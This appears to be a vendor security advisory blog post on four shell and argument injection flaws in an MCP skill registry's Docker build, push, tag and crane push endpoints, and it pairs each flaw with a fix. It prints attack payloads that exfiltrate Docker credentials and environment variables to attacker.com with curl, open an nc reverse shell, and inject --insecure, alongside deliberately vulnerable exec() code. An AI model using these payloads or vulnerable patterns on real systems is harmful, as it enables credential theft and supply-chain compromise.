← Blog

Claude MCP skill code injection — container image build and OCI registry push endpoints (SA-SKL-INJECTION67)

SA-SKL-INJECTION67 identifies four code injection vulnerabilities in MCP skill registry container image build and OCI registry push endpoints. The image build endpoint passes the user-supplied skill version string directly into a shell-interpolated docker build command, allowing an attacker to inject a semicolon-terminated command that reads /root/.docker/config.json and exfiltrates all Docker registry authentication tokens stored on the build worker; the image push endpoint interpolates a user-supplied platform string into a shell-executed docker push command, allowing an attacker to inject a nc reverse shell payload that establishes a persistent shell session from the container build worker with the full credentials of the worker process; the image tagging endpoint interpolates a user-supplied target registry hostname into a shell-executed docker tag command, allowing an attacker to inject a printenv command that exfiltrates all environment variables including DOCKER_HUB_TOKEN, cloud provider credentials, and the registry's internal signing keys; and the OCI image push endpoint passes a user-supplied image reference string to the crane push command without argument sanitization, allowing an attacker to inject the --insecure flag by embedding a space in the image reference, which disables TLS verification on the OCI registry push and enables a man-in-the-middle attacker to intercept and replace the pushed image layer with a backdoored version before it reaches the registry.

SA-SKL-INJECTION67 findings at a glance
CRITICALINJECTION67-001 — exec(`docker build --build-arg SKILL_VERSION=${version} ${contextDir}`) — attacker version with ; cat /root/.docker/config.json exfiltrates Docker registry auth tokens
CRITICALINJECTION67-002 — exec(`docker push ${imageRef} --platform ${platform}`) — attacker platform with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from container build worker
CRITICALINJECTION67-003 — exec(`docker tag ${sourceImage} ${targetRegistry}/${imageName}:${tag}`) — attacker targetRegistry with ; printenv exfiltrates all env vars including DOCKER_HUB_TOKEN and cloud credentials
HIGHINJECTION67-004 — exec(`crane push ${tarball} ${imageRef}`) — attacker imageRef with space-injected --insecure disables TLS enabling MITM on OCI registry push

INJECTION67-001 — docker build shell injection exfiltrates Docker registry auth tokens

The container image build endpoint accepts a skill version string from the publisher as part of the image build configuration and passes it as a Docker build argument using shell string interpolation in a child_process.exec() call. The version string is used to set the SKILL_VERSION build argument so that the Dockerfile can embed the version identifier in the built image. The exec() call spawns a shell to interpret the composed command string, which means any shell metacharacters in the version parameter — including semicolons, backticks, dollar-sign command substitutions, and pipe characters — are evaluated by the shell as separate commands before the Docker invocation runs.

An attacker submits a version string of 1.0.0; cat /root/.docker/config.json | base64 | curl -d @- https://attacker.com/t. The shell interprets the semicolon as a command separator and executes the injected command sequence after the docker build arguments are set up but before Docker itself runs. The /root/.docker/config.json file on the build worker typically contains base64-encoded authentication credentials for every Docker registry the worker is configured to push to — Docker Hub, private ECR registries, GitHub Container Registry, and the registry's own internal OCI registry. Exfiltrating this file gives the attacker write access to publish malicious images to every registry the build worker is authenticated to, enabling supply chain attacks against every consumer of those registries.

Vulnerable
// INJECTION67-001 — VULNERABLE
const { exec } = require('child_process');

async function buildSkillImage(skillId, version, contextDir) {
  // VULNERABLE: version injected directly into shell command string
  const cmd = `docker build --build-arg SKILL_VERSION=${version} ${contextDir}`;
  return new Promise((resolve, reject) => {
    exec(cmd, (err, stdout, stderr) => {
      if (err) reject(new Error(stderr));
      else resolve(stdout);
    });
  });
}

Attack PoC — INJECTION67-001: Submit version 1.0.0; cat /root/.docker/config.json | base64 | curl -d @- https://attacker.com/t. Shell splits on semicolon and executes the injected command — exfiltrating Docker registry credentials for every registry the build worker is authenticated to, enabling supply chain attacks across all downstream registries.

// INJECTION67-001 — ATTACK PAYLOAD
const version = '1.0.0; cat /root/.docker/config.json | base64 | curl -d @- https://attacker.com/t';
// Results in shell executing:
// docker build --build-arg SKILL_VERSION=1.0.0
// cat /root/.docker/config.json | base64 | curl -d @- https://attacker.com/t
// (exfiltrates all Docker registry auth tokens)
Fixed
// INJECTION67-001 — FIXED
const { execFile } = require('child_process');
const { z } = require('zod');
const path = require('path');

const SEMVER_RE = /^\d+\.\d+\.\d+(?:-[\w.]+)?(?:\+[\w.]+)?$/;

async function buildSkillImage(skillId, version, contextDir) {
  // FIXED: validate version matches semver before use
  if (!SEMVER_RE.test(version)) throw new Error('Invalid version format');
  // FIXED: resolve contextDir to BUILDS_ROOT; execFile with arg array — no shell
  const safeContext = path.resolve(process.env.BUILDS_ROOT, path.basename(contextDir));
  return new Promise((resolve, reject) => {
    execFile(
      'docker',
      ['build', '--build-arg', `SKILL_VERSION=${version}`, safeContext],
      { env: { PATH: '/usr/bin:/bin' } }, // FIXED: strip registry credentials from env
      (err, stdout, stderr) => {
        if (err) reject(new Error(stderr));
        else resolve(stdout);
      }
    );
  });
}

INJECTION67-002 — docker push shell injection establishes reverse shell from container build worker

The image push endpoint accepts a platform specifier — such as linux/amd64 or linux/arm64 — that is used to specify the target platform for a multi-architecture image push. The platform string is interpolated directly into a shell-executed docker push command alongside the image reference. The --platform flag on docker push is passed after the image reference in the composed command, which means the platform value is a positional shell token that the shell evaluates as part of the command line before passing arguments to Docker.

An attacker submits a platform value of linux/amd64; nc attacker.com 4444 -e /bin/sh. The shell splits on the semicolon, executes the docker push command with the truncated platform argument (which may succeed or fail depending on Docker's argument parsing), and then executes the nc reverse shell command. The reverse shell runs with the full credentials of the container build worker process, which typically include the Docker daemon socket access, the registry's internal signing keys, the cloud provider credentials needed to push images to ECR or GCR, and access to all other skills' build contexts stored on the shared build worker filesystem. The reverse shell persists until the attacker closes it or the worker process is restarted.

Vulnerable
// INJECTION67-002 — VULNERABLE
const { exec } = require('child_process');

async function pushSkillImage(imageRef, platform) {
  // VULNERABLE: platform injected directly into shell command string
  const cmd = `docker push ${imageRef} --platform ${platform}`;
  return new Promise((resolve, reject) => {
    exec(cmd, (err, stdout, stderr) => {
      if (err) reject(new Error(stderr));
      else resolve(stdout);
    });
  });
}

Attack PoC — INJECTION67-002: Submit platform linux/amd64; nc attacker.com 4444 -e /bin/sh. Shell splits on semicolon and spawns a persistent reverse shell from the container build worker with full access to Docker daemon socket, registry signing keys, cloud push credentials, and all other skills' build contexts on the shared filesystem.

// INJECTION67-002 — ATTACK PAYLOAD
const platform = 'linux/amd64; nc attacker.com 4444 -e /bin/sh';
// Results in shell executing:
// docker push registry.example.com/skill-name:1.0.0 --platform linux/amd64
// nc attacker.com 4444 -e /bin/sh
// (reverse shell from build worker with full credentials)
Fixed
// INJECTION67-002 — FIXED
const { execFile } = require('child_process');

const PLATFORM_RE = /^linux\/(amd64|arm64|arm\/v7|arm\/v6|386|ppc64le|s390x)$/;

async function pushSkillImage(imageRef, platform) {
  // FIXED: validate platform against strict allowlist
  if (!PLATFORM_RE.test(platform)) throw new Error('Invalid platform specifier');
  // FIXED: validate imageRef against registry/name:tag pattern
  if (!/^[\w.\-/]+:[\w.\-]+$/.test(imageRef)) throw new Error('Invalid image reference');
  return new Promise((resolve, reject) => {
    execFile(
      'docker',
      ['push', imageRef, '--platform', platform],
      { env: { PATH: '/usr/bin:/bin', HOME: '/tmp' } },
      (err, stdout, stderr) => {
        if (err) reject(new Error(stderr));
        else resolve(stdout);
      }
    );
  });
}

INJECTION67-003 — docker tag shell injection exfiltrates env vars including cloud credentials

The image tagging endpoint allows publishers to tag a built skill image with a target registry address before pushing it to that registry. The endpoint accepts the target registry hostname, image name, and tag as separate parameters and assembles a docker tag command using shell string interpolation. The target registry hostname is intended to be a DNS name such as registry.example.com or 123456789.dkr.ecr.us-east-1.amazonaws.com, but no validation is applied to the value before interpolation into the shell command string.

An attacker submits a targetRegistry value of evil.com; printenv | base64 | curl -d @- https://attacker.com/e #. The shell splits on the semicolon, executes the docker tag command with the truncated registry value (the # at the end causes Docker to treat the remainder as a comment, preventing a syntax error that might abort execution), and then executes the printenv pipeline. The environment of the build worker process typically contains DOCKER_HUB_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GCP_SERVICE_ACCOUNT_KEY, GITHUB_TOKEN, and the registry's internal service credentials — all of which are exfiltrated in a single printenv dump encoded as base64 to avoid line-break issues in the curl POST body.

Vulnerable
// INJECTION67-003 — VULNERABLE
const { exec } = require('child_process');

async function tagSkillImage(sourceImage, targetRegistry, imageName, tag) {
  // VULNERABLE: targetRegistry injected directly into shell command string
  const cmd = `docker tag ${sourceImage} ${targetRegistry}/${imageName}:${tag}`;
  return new Promise((resolve, reject) => {
    exec(cmd, (err, stdout, stderr) => {
      if (err) reject(new Error(stderr));
      else resolve(stdout);
    });
  });
}

Attack PoC — INJECTION67-003: Submit targetRegistry as evil.com; printenv | base64 | curl -d @- https://attacker.com/e #. Shell executes the injected pipeline — exfiltrating all environment variables including DOCKER_HUB_TOKEN, AWS/GCP/GitHub credentials, and registry signing keys in a single base64-encoded POST request.

// INJECTION67-003 — ATTACK PAYLOAD
const targetRegistry = 'evil.com; printenv | base64 | curl -d @- https://attacker.com/e #';
// Results in shell executing:
// docker tag source-image evil.com/skill-name:1.0.0
// printenv | base64 | curl -d @- https://attacker.com/e
// (all env vars including DOCKER_HUB_TOKEN and cloud credentials exfiltrated)
Fixed
// INJECTION67-003 — FIXED
const { execFile } = require('child_process');

const REGISTRY_HOSTNAME_RE = /^[a-zA-Z0-9](?:[a-zA-Z0-9\-]*[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9\-]*[a-zA-Z0-9])?)*(?::\d{2,5})?$/;
const IMAGE_NAME_RE = /^[a-z0-9](?:[a-z0-9._\-/]*[a-z0-9])?$/;
const TAG_RE = /^[\w.\-]{1,128}$/;

async function tagSkillImage(sourceImage, targetRegistry, imageName, tag) {
  if (!REGISTRY_HOSTNAME_RE.test(targetRegistry)) throw new Error('Invalid registry hostname');
  if (!IMAGE_NAME_RE.test(imageName)) throw new Error('Invalid image name');
  if (!TAG_RE.test(tag)) throw new Error('Invalid tag');
  const targetRef = `${targetRegistry}/${imageName}:${tag}`;
  return new Promise((resolve, reject) => {
    execFile(
      'docker',
      ['tag', sourceImage, targetRef],
      { env: { PATH: '/usr/bin:/bin', HOME: '/tmp' } }, // FIXED: strip cloud credentials from env
      (err, stdout, stderr) => {
        if (err) reject(new Error(stderr));
        else resolve(stdout);
      }
    );
  });
}

INJECTION67-004 — crane push argument injection disables TLS enabling MITM on OCI push

The OCI image push endpoint uses the crane CLI tool to push skill image tarballs to the OCI registry. The endpoint accepts a user-supplied image reference string — of the form registry.example.com/namespace/image:tag — and passes it as an argument to crane push using shell string interpolation. Unlike the previous findings that inject shell metacharacters, this vulnerability exploits the fact that crane accepts space-separated command-line flags and that the image reference is interpolated into the command string before shell word-splitting occurs: an attacker can embed a space character in the image reference to inject an additional flag into the crane argument list.

An attacker submits an image reference containing an embedded space followed by --insecure, such as registry.example.com/skill:1.0 --insecure. After shell word-splitting, crane receives the arguments push tarball.tar registry.example.com/skill:1.0 --insecure. The --insecure flag instructs crane to skip TLS certificate verification for the registry connection, allowing a network attacker positioned between the build worker and the registry to intercept the plaintext OCI layer upload stream and replace individual layers with malicious content. Because OCI image manifests reference layers by content digest, the attacker must replace layers before the final manifest is generated and can produce a valid manifest for the backdoored layer set that the registry accepts as a legitimate push.

Vulnerable
// INJECTION67-004 — VULNERABLE
const { exec } = require('child_process');

async function pushOCIImage(tarball, imageRef) {
  // VULNERABLE: imageRef injected directly into shell command; space splits into extra flag
  const cmd = `crane push ${tarball} ${imageRef}`;
  return new Promise((resolve, reject) => {
    exec(cmd, (err, stdout, stderr) => {
      if (err) reject(new Error(stderr));
      else resolve(stdout);
    });
  });
}

Attack PoC — INJECTION67-004: Submit imageRef as registry.example.com/skill:1.0 --insecure. Shell word-splits the space, passing --insecure as a separate argument to crane. TLS verification is disabled for the OCI push — a MITM attacker on the network path can intercept and replace image layers, injecting a backdoored image into the registry.

// INJECTION67-004 — ATTACK PAYLOAD
const imageRef = 'registry.example.com/my-skill:1.0 --insecure';
// Results in crane receiving: push tarball.tar registry.example.com/my-skill:1.0 --insecure
// crane disables TLS → MITM attacker replaces image layers in transit
Fixed
// INJECTION67-004 — FIXED
const { execFile } = require('child_process');
const path = require('path');

const OCI_REF_RE = /^[a-zA-Z0-9][\w.\-/]*:[a-zA-Z0-9][\w.\-]*$/;

async function pushOCIImage(tarball, imageRef) {
  // FIXED: reject any imageRef containing whitespace or flag characters
  if (!OCI_REF_RE.test(imageRef) || imageRef.includes(' ') || imageRef.startsWith('-')) {
    throw new Error('Invalid OCI image reference');
  }
  const safeTarball = path.resolve(process.env.TARBALLS_ROOT, path.basename(tarball));
  return new Promise((resolve, reject) => {
    // FIXED: execFile with arg array — no shell word-splitting; --insecure cannot be injected
    execFile(
      'crane',
      ['push', safeTarball, imageRef],
      { env: { PATH: '/usr/bin:/usr/local/bin:/bin', HOME: '/tmp' } },
      (err, stdout, stderr) => {
        if (err) reject(new Error(stderr));
        else resolve(stdout);
      }
    );
  });
}

SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect shell injection patterns in container image build and OCI registry push pipelines — child_process.exec() with interpolated build arguments, platform specifiers, registry hostnames, and image references — in under 60 seconds. Switching to execFile() with an argument array eliminates the entire class of injection vulnerabilities at the call site.